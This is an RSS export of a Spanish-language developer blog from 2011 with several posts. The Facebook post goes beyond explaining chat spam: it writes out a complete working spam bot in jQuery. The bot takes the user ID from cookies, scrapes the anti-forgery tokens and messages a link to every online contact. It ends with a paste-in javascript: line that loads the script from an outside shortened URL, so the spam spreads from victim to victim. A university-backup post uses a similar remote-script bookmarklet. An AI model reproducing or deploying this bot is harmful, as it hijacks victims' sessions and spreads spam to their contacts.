<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Estebanfuentealba&#039;s Blog</title>
	<atom:link href="http://estebanfuentealba.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://estebanfuentealba.wordpress.com</link>
	<description>Just another WordPress.com weblog</description>
	<lastBuildDate>Wed, 25 Jan 2012 02:02:20 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='estebanfuentealba.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://1.gravatar.com/blavatar/f981039af910f2ffc76d354e926e8ad3?s=96&#038;d=http%3A%2F%2Fs2.wp.com%2Fi%2Fbuttonw-com.png</url>
		<title>Estebanfuentealba&#039;s Blog</title>
		<link>http://estebanfuentealba.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://estebanfuentealba.wordpress.com/osd.xml" title="Estebanfuentealba&#039;s Blog" />
	<atom:link rel='hub' href='http://estebanfuentealba.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Respaldame Koala JS Versión 2.0</title>
		<link>http://estebanfuentealba.wordpress.com/2011/04/26/respaldame-koala-js-version-2-0/</link>
		<comments>http://estebanfuentealba.wordpress.com/2011/04/26/respaldame-koala-js-version-2-0/#comments</comments>
		<pubDate>Wed, 27 Apr 2011 02:00:55 +0000</pubDate>
		<dc:creator>estebanfuentealba</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Utilidades]]></category>
		<category><![CDATA[DUOCUC]]></category>
		<category><![CDATA[HTA]]></category>
		<category><![CDATA[HTA JQuery]]></category>
		<category><![CDATA[Javascript Injection]]></category>
		<category><![CDATA[RespaldameKoala]]></category>
		<category><![CDATA[Respaldar DuocUC]]></category>
		<category><![CDATA[RFI]]></category>

		<guid isPermaLink="false">http://estebanfuentealba.wordpress.com/?p=1082</guid>
		<description><![CDATA[Este es una nueva versión del Respaldame Koala, un software para respaldar todos los archivos de la plataforma blackboard de DuocUC, esta vez, escrito en HTML y Javascript utilizando el framework JQuery. Para utilizarlo deben: Loguarse en http://campusvirtual.duoc.cl En la misma venta , escribir en la barra de direcciones el siguiente código: Luego en la [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1082&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Este es una nueva versión del Respaldame Koala, un software para respaldar todos los archivos de la plataforma blackboard de DuocUC, esta vez, escrito en HTML y Javascript utilizando el framework JQuery.</p>
<p>Para utilizarlo deben:</p>
<p>Loguarse en <a href="http://campusvirtual.duoc.cl" target="_blank">http://campusvirtual.duoc.cl</a><br />
En la misma venta , escribir en la barra de direcciones el siguiente código:<br />
<pre class="brush: jscript;">javascript:(s=(d=document).createElement('script')).src='http://goo.gl/KMdgb',d.body.appendChild(s);void(0);</pre></p>
<p>Luego en la página principal de blackboard , les aparecerá un nuevo panel llamado <strong>Respaldame Koala</strong>. <a href="http://estebanfuentealba.files.wordpress.com/2011/04/respaldamekoala.png"><img src="http://estebanfuentealba.files.wordpress.com/2011/04/respaldamekoala.png?w=300&#038;h=175" alt="" title="respaldamekoala" width="300" height="175" class="aligncenter size-medium wp-image-1083" /></a></p>
<p>Ahí seleccionan todos los archivos que quieren descargar, presionan el Botón <strong>Descargar Seleccionados</strong> y se les descargará un archivo <strong>respaldameKoala.hta</strong>, lo abren y se abrirá una ventana como ésta:<br />
<a href="http://estebanfuentealba.files.wordpress.com/2011/04/respaldamekoala-02.png"><img src="http://estebanfuentealba.files.wordpress.com/2011/04/respaldamekoala-02.png?w=300&#038;h=155" alt="" title="respaldamekoala-02" width="300" height="155" class="aligncenter size-medium wp-image-1084" /></a></p>
<p>Y por último presionan el botón <strong>Comenzar Descarga de Archivos</strong> y se descargarán, todos los archivos seleccionados, en una carpeta llamada RespaldameKoala que estará en la misma carpeta donde se guardo el archivo .hta .</p>
<p>Espero que les sirva, </p>
<p>Saludos!</p>
<br />Filed under: <a href='http://estebanfuentealba.wordpress.com/category/html/'>HTML</a>, <a href='http://estebanfuentealba.wordpress.com/category/javascript/'>JavaScript</a>, <a href='http://estebanfuentealba.wordpress.com/category/utilidades/'>Utilidades</a> Tagged: <a href='http://estebanfuentealba.wordpress.com/tag/duocuc/'>DUOCUC</a>, <a href='http://estebanfuentealba.wordpress.com/tag/hta/'>HTA</a>, <a href='http://estebanfuentealba.wordpress.com/tag/hta-jquery/'>HTA JQuery</a>, <a href='http://estebanfuentealba.wordpress.com/tag/javascript-injection/'>Javascript Injection</a>, <a href='http://estebanfuentealba.wordpress.com/tag/respaldamekoala/'>RespaldameKoala</a>, <a href='http://estebanfuentealba.wordpress.com/tag/respaldar-duocuc/'>Respaldar DuocUC</a>, <a href='http://estebanfuentealba.wordpress.com/tag/rfi/'>RFI</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/estebanfuentealba.wordpress.com/1082/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/estebanfuentealba.wordpress.com/1082/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/estebanfuentealba.wordpress.com/1082/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/estebanfuentealba.wordpress.com/1082/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/estebanfuentealba.wordpress.com/1082/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/estebanfuentealba.wordpress.com/1082/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/estebanfuentealba.wordpress.com/1082/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/estebanfuentealba.wordpress.com/1082/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/estebanfuentealba.wordpress.com/1082/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/estebanfuentealba.wordpress.com/1082/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/estebanfuentealba.wordpress.com/1082/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/estebanfuentealba.wordpress.com/1082/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/estebanfuentealba.wordpress.com/1082/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/estebanfuentealba.wordpress.com/1082/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1082&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://estebanfuentealba.wordpress.com/2011/04/26/respaldame-koala-js-version-2-0/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/35d2b25f5fcc5cee54fb2311fcc10ff7?s=96&#38;d=&#38;r=R" medium="image">
			<media:title type="html">estebanfuentealba</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2011/04/respaldamekoala.png?w=300" medium="image">
			<media:title type="html">respaldamekoala</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2011/04/respaldamekoala-02.png?w=300" medium="image">
			<media:title type="html">respaldamekoala-02</media:title>
		</media:content>
	</item>
		<item>
		<title>Bot Spammer en el chat de Facebook con JQuery</title>
		<link>http://estebanfuentealba.wordpress.com/2011/04/23/bot-spammer-en-el-chat-de-facebook-con-jquery/</link>
		<comments>http://estebanfuentealba.wordpress.com/2011/04/23/bot-spammer-en-el-chat-de-facebook-con-jquery/#comments</comments>
		<pubDate>Sat, 23 Apr 2011 23:21:08 +0000</pubDate>
		<dc:creator>estebanfuentealba</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Chat Spam]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[Facebook Spam]]></category>
		<category><![CDATA[JQuery]]></category>
		<category><![CDATA[RFI]]></category>
		<category><![CDATA[Spam Bot]]></category>

		<guid isPermaLink="false">http://estebanfuentealba.wordpress.com/?p=1069</guid>
		<description><![CDATA[Hace días atrás me comenzaron a llegar spam por el chat de facebook y decidí investigar como lo hacían. Como lo hacen? Primero, hacer correr código javascript a los contactos de facebook. Simplemente los hacen escribir en la barra de direcciones el siguiente código: e incluyen un script escrito en javascript a la página de [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1069&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img alt="" src="http://www.marketingenfacebook.com/wp-content/uploads/2010/01/Facebook_Spam.gif" class="aligncenter" width="184" height="184" /><br />
Hace días atrás me comenzaron a llegar spam por el chat de facebook y decidí investigar como lo hacían.</p>
<p><strong>Como lo hacen</strong>?<br />
Primero, hacer correr código javascript a los contactos de facebook. Simplemente los hacen escribir en la barra de direcciones el siguiente código:<br />
<pre class="brush: php;">javascript: [CODIGO JAVASCRIPT]</pre><br />
e incluyen un script escrito en javascript a la página de facebook, con el cuál pueden manipular los datos de la página.</p>
<p><strong>Como manipulan los datos de Facebook</strong>?<br />
Con el script que incluyen en facebook, comienzan a hacer llamadas vía Ajax al servidor, donde:</p>
<ul>
<li><strong>Listan a los usuarios del chat</strong>: Para Listar a todos los contactos conectados crean una petición por el método <strong>GET</strong> a la siguiente dirección:<br />
<pre class="brush: php;">http://www.facebook.com/ajax/chat/buddy_list.php?__a=1&amp;amp;user={ID_USUARIO}&amp;amp;post_form_id={POST_FORM_ID}&amp;amp;fb_dtsg={FB_DTSG}&amp;amp;post_form_id_source=AsyncRequest&amp;amp;popped_out=false&amp;amp;force_render=true</pre></li>
<li><strong>Envían mensajes a cada usuario conectado</strong>:  Para enviar un mensaje a algún contacto necesitan hacer una petición por el método <strong>POST</strong> a la siguiente dirección<br />
<pre class="brush: php;">http://www.facebook.com/ajax/chat/send.php?__a=1</pre><br />
y como parámetro pasan:<br />
<pre class="brush: php;">msg_id={NUMERO_RANDOM}&amp;amp;client_time={TIME}&amp;amp;msg_text={MENSAJE}&amp;amp;to={CONTACTO_ID}&amp;amp;post_form_id={POST_FORM_ID}&amp;amp;fb_dtsg={FB_DTSG}&amp;amp;post_form_id_source=AsyncRequest</pre></li>
</ul>
<p>Como ven en los puntos anteriores , necesitamos 3 variables que no podemos inventar para hacer las peticiones.</p>
<ul>
<li>ID_USUARIO: La sacamos de la cookie de facebook</li>
<li>POST_FORM_ID: La sacamos de la página principal de Facebook (Formulario Oculto)</li>
<li>FB_DTSG: La sacamos de la página principal de Facebook (Formulario Oculto).</li>
</ul>
<p>Conociendo ésto, los pasos para comenzar a escribir nuestro bot son:</p>
<ol>
<li>Entrar a la página principal de Facebook</li>
<li>Sacar las cookies y buscar la ID_USUARIO</li>
<li>Buscar los inputs ocultos y sacar POST_FORM_ID y FB_DTSG</li>
<li>Listar Los Usuarios conectados al chat</li>
<li>Enviar un mensaje por cada usuario conectado</li>
</ol>
<p>Código:<br />
Para programar código Javascript utilizaré el framework JQuery para hacer mas fácil la manipulación de datos.</p>
<p>1.- Conectar a la raíz de Facebook y obtener los datos necesarios.<br />
<pre class="brush: jscript;">
	/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: &quot;/&quot;,
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el &quot;value&quot;  */
			var post_form_id = data.match(/name=&quot;post_form_id&quot; value=&quot;([\d\w]+)&quot;/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el &quot;value&quot;  */
			var fb_dtsg = data.match(/name=&quot;fb_dtsg&quot; value=&quot;(.[^\&quot;]*)&quot; autocomplete=/i)[1];
		}
	});</pre></p>
<p>2.- Luego de Obtener los datos necesarios tenemos que listar a los usuarios<br />
<pre class="brush: jscript;">/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: &quot;/&quot;,
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el &quot;value&quot;  */
			var post_form_id = data.match(/name=&quot;post_form_id&quot; value=&quot;([\d\w]+)&quot;/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el &quot;value&quot;  */
			var fb_dtsg = data.match(/name=&quot;fb_dtsg&quot; value=&quot;(.[^\&quot;]*)&quot; autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					
				}
			});
		}
	});</pre></p>
<p>3.- Debemos enviar un mensaje a cada usuario conectado.<br />
<pre class="brush: jscript;">/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: &quot;/&quot;,
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el &quot;value&quot;  */
			var post_form_id = data.match(/name=&quot;post_form_id&quot; value=&quot;([\d\w]+)&quot;/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el &quot;value&quot;  */
			var fb_dtsg = data.match(/name=&quot;fb_dtsg&quot; value=&quot;(.[^\&quot;]*)&quot; autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					/* [PASO 3] - Enviamos a cada amigo un mensaje */
					/* Recorrimos la lista de amigos que estan disponibles */
					for (var contact in buddyList['nowAvailableList']) {
						/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
						$.ajax({
							url: '/ajax/chat/send.php?__a=1',
							type: &quot;POST&quot;,
							data: {
								msg_id: Math.floor(Math.random() * 1335448958),
								client_time: (new Date).getTime(),
								/* Aquí agregamos nuestro Mensaje */
								msg_text: &quot;Bot Spammer Test xD @ goo.gl/NYCXk&quot;,
								to: contact,
								post_form_id: post_form_id,
								fb_dtsg: fb_dtsg,
								post_form_id_source: &quot;AsyncRequest&quot;
							},
							success: function(chatSendResponse){
							}
						});
					}
				}
			});
		}
	});</pre></p>
<p>Para terminar nuestro código , agregaré el script de JQuery<br />
<pre class="brush: jscript;">/* Obtengo el tag HEAD */
var head= document.getElementsByTagName('head')[0];
/* creo un elemento SCRIPT */
var script= document.createElement('script');
/* le doy el tipo javascript */
script.type= 'text/javascript';
/* framework JQuery */
script.src= 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js';
/* Agrego un evento ONLOAD al SCRIPT */
script.onload = function(){
	/* Una vez que se haya cargado JQUERY debo comenzar a utilizarlo */
	/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: &quot;/&quot;,
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el &quot;value&quot;  */
			var post_form_id = data.match(/name=&quot;post_form_id&quot; value=&quot;([\d\w]+)&quot;/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el &quot;value&quot;  */
			var fb_dtsg = data.match(/name=&quot;fb_dtsg&quot; value=&quot;(.[^\&quot;]*)&quot; autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					/* [PASO 3] - Enviamos a cada amigo un mensaje */
					/* Recorrimos la lista de amigos que estan disponibles */
					for (var contact in buddyList['nowAvailableList']) {
						/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
						$.ajax({
							url: '/ajax/chat/send.php?__a=1',
							type: &quot;POST&quot;,
							data: {
								msg_id: Math.floor(Math.random() * 1335448958),
								client_time: (new Date).getTime(),
								/* Aquí agregamos nuestro Mensaje */
								msg_text: &quot;Bot Spammer Test xD @ goo.gl/NYCXk&quot;,
								to: contact,
								post_form_id: post_form_id,
								fb_dtsg: fb_dtsg,
								post_form_id_source: &quot;AsyncRequest&quot;
							},
							success: function(chatSendResponse){
							}
						});
					}
				}
			});
		}
	});
};
/* Agrego el tag SCRIPT Al tag HEAD */
head.appendChild(script);</pre></p>
<p>Luego subimos nuestro script a algun hosting, yo lo subí a Dropbox<br />
<a href="http://goo.gl/KKz48" target="_blank">http://goo.gl/KKz48</a></p>
<p>Y por último creamos el codigo javascript para pasarlo a nuestros amigos, que tendrán que ejecutarlo en la página de Facebook.</p>
<p><pre class="brush: php;">javascript:(s=document.createElement('script')).src='http://goo.gl/KKz48', document.body.appendChild(s); void(0);              </pre></p>
<p>Escribiendo el código anterior,en la barra de direcciones en la pestaña donde está la págian de facebook, se crea un tag que les agregará el script que hicimos y por consecuencia enviará un mensaje a todos sus amigos conectados al chat.</p>
<p>De ésta forma se pueden enviar mensajes por el chat, crear eventos, postear en el muro, etc.  Espero que les sirva de algo y que lo usen para algo bueno, </p>
<p>Saludos!</p>
<br />Filed under: <a href='http://estebanfuentealba.wordpress.com/category/javascript/'>JavaScript</a> Tagged: <a href='http://estebanfuentealba.wordpress.com/tag/chat-spam/'>Chat Spam</a>, <a href='http://estebanfuentealba.wordpress.com/tag/facebook/'>facebook</a>, <a href='http://estebanfuentealba.wordpress.com/tag/facebook-spam/'>Facebook Spam</a>, <a href='http://estebanfuentealba.wordpress.com/tag/jquery/'>JQuery</a>, <a href='http://estebanfuentealba.wordpress.com/tag/rfi/'>RFI</a>, <a href='http://estebanfuentealba.wordpress.com/tag/spam-bot/'>Spam Bot</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/estebanfuentealba.wordpress.com/1069/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/estebanfuentealba.wordpress.com/1069/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/estebanfuentealba.wordpress.com/1069/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/estebanfuentealba.wordpress.com/1069/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/estebanfuentealba.wordpress.com/1069/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/estebanfuentealba.wordpress.com/1069/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/estebanfuentealba.wordpress.com/1069/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/estebanfuentealba.wordpress.com/1069/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/estebanfuentealba.wordpress.com/1069/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/estebanfuentealba.wordpress.com/1069/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/estebanfuentealba.wordpress.com/1069/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/estebanfuentealba.wordpress.com/1069/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/estebanfuentealba.wordpress.com/1069/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/estebanfuentealba.wordpress.com/1069/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1069&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://estebanfuentealba.wordpress.com/2011/04/23/bot-spammer-en-el-chat-de-facebook-con-jquery/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/35d2b25f5fcc5cee54fb2311fcc10ff7?s=96&#38;d=&#38;r=R" medium="image">
			<media:title type="html">estebanfuentealba</media:title>
		</media:content>

		<media:content url="http://www.marketingenfacebook.com/wp-content/uploads/2010/01/Facebook_Spam.gif" medium="image" />
	</item>
		<item>
		<title>PHPCodeCreator [CodeIgniter + Doctrine + RestServer + HMVC]</title>
		<link>http://estebanfuentealba.wordpress.com/2011/04/03/phpcodecreator-codeigniter-doctrine-restserver-hmvc/</link>
		<comments>http://estebanfuentealba.wordpress.com/2011/04/03/phpcodecreator-codeigniter-doctrine-restserver-hmvc/#comments</comments>
		<pubDate>Sun, 03 Apr 2011 22:24:31 +0000</pubDate>
		<dc:creator>estebanfuentealba</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[CodeIgniter + Doctrine]]></category>
		<category><![CDATA[Doctrine]]></category>
		<category><![CDATA[HMVC]]></category>
		<category><![CDATA[Mapping]]></category>
		<category><![CDATA[PHPCodeCreator]]></category>
		<category><![CDATA[SQL Mapping]]></category>

		<guid isPermaLink="false">http://estebanfuentealba.wordpress.com/?p=1063</guid>
		<description><![CDATA[En vacaciones, aburrido de programar, se me ocurrió la idea de crear código solo, Como es eso? Bueno la idea fue , bajo el patrón MVC, crear código (Modelo, Controlador , Vista) a partir del modelo de la base de datos. Para ello empece a programar un mappeador de base de datos, que obtiene todas [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1063&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://estebanfuentealba.files.wordpress.com/2011/04/codeigniterdoctrine.png"><img class="aligncenter size-full wp-image-1064" title="codeigniter+doctrine" src="http://estebanfuentealba.files.wordpress.com/2011/04/codeigniterdoctrine.png?w=600" alt=""   /></a></p>
<p>En vacaciones, aburrido de programar, se me ocurrió la idea de crear código solo, Como es eso?<br />
Bueno la idea fue , bajo el patrón MVC, crear código (Modelo, Controlador , Vista) a partir del modelo de la base de datos. Para ello empece a programar un mappeador de base de datos, que obtiene todas las tablas, columnas, claves primarias y referencias foráneas de una base de datos, y con esos datos comienza a crear los Modelos y posteriores Controles.<br />
<a href="http://estebanfuentealba.files.wordpress.com/2011/04/codeigniter_doctrine.png"><img class="aligncenter size-full wp-image-1065" title="codeigniter_doctrine" src="http://estebanfuentealba.files.wordpress.com/2011/04/codeigniter_doctrine.png?w=600" alt=""   /></a><br />
Todo ese código es escrito para utilizarlo junto con el framework CodeIgniter y su módulo RestServer, para generar webservice.<br />
Doctrine se encarga de conectar los modelos y la base de datos relacional, ademas de toda la validación de columnas y referencias entre tablas.</p>
<p>Por ahora las Vistas no se generan solas , pero si quieres puedes aportar con nuevas ideas o mejorando lo que ya está.<br />
Hace unas semanas atrás subí el código a github, aquí lo dejo para que se apunten en éste proyecto.</p>
<p><a href="https://github.com/EstebanFuentealba/PHPCodeCreator" target="_blank">https://github.com/EstebanFuentealba/PHPCodeCreator</a></p>
<p>Saludos!</p>
<br />Filed under: <a href='http://estebanfuentealba.wordpress.com/category/php/'>PHP</a>, <a href='http://estebanfuentealba.wordpress.com/category/proyectos/'>Proyectos</a>, <a href='http://estebanfuentealba.wordpress.com/category/sql/'>SQL</a> Tagged: <a href='http://estebanfuentealba.wordpress.com/tag/codeigniter/'>CodeIgniter</a>, <a href='http://estebanfuentealba.wordpress.com/tag/codeigniter-doctrine/'>CodeIgniter + Doctrine</a>, <a href='http://estebanfuentealba.wordpress.com/tag/doctrine/'>Doctrine</a>, <a href='http://estebanfuentealba.wordpress.com/tag/hmvc/'>HMVC</a>, <a href='http://estebanfuentealba.wordpress.com/tag/mapping/'>Mapping</a>, <a href='http://estebanfuentealba.wordpress.com/tag/phpcodecreator/'>PHPCodeCreator</a>, <a href='http://estebanfuentealba.wordpress.com/tag/sql-mapping/'>SQL Mapping</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/estebanfuentealba.wordpress.com/1063/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/estebanfuentealba.wordpress.com/1063/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/estebanfuentealba.wordpress.com/1063/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/estebanfuentealba.wordpress.com/1063/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/estebanfuentealba.wordpress.com/1063/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/estebanfuentealba.wordpress.com/1063/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/estebanfuentealba.wordpress.com/1063/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/estebanfuentealba.wordpress.com/1063/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/estebanfuentealba.wordpress.com/1063/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/estebanfuentealba.wordpress.com/1063/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/estebanfuentealba.wordpress.com/1063/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/estebanfuentealba.wordpress.com/1063/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/estebanfuentealba.wordpress.com/1063/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/estebanfuentealba.wordpress.com/1063/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=1063&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://estebanfuentealba.wordpress.com/2011/04/03/phpcodecreator-codeigniter-doctrine-restserver-hmvc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/35d2b25f5fcc5cee54fb2311fcc10ff7?s=96&#38;d=&#38;r=R" medium="image">
			<media:title type="html">estebanfuentealba</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2011/04/codeigniterdoctrine.png" medium="image">
			<media:title type="html">codeigniter+doctrine</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2011/04/codeigniter_doctrine.png" medium="image">
			<media:title type="html">codeigniter_doctrine</media:title>
		</media:content>
	</item>
		<item>
		<title>Netbeans 7.0 + Git Nativo</title>
		<link>http://estebanfuentealba.wordpress.com/2011/04/03/netbeans-7-0-git-nativo/</link>
		<comments>http://estebanfuentealba.wordpress.com/2011/04/03/netbeans-7-0-git-nativo/#comments</comments>
		<pubDate>Sun, 03 Apr 2011 21:11:08 +0000</pubDate>
		<dc:creator>estebanfuentealba</dc:creator>
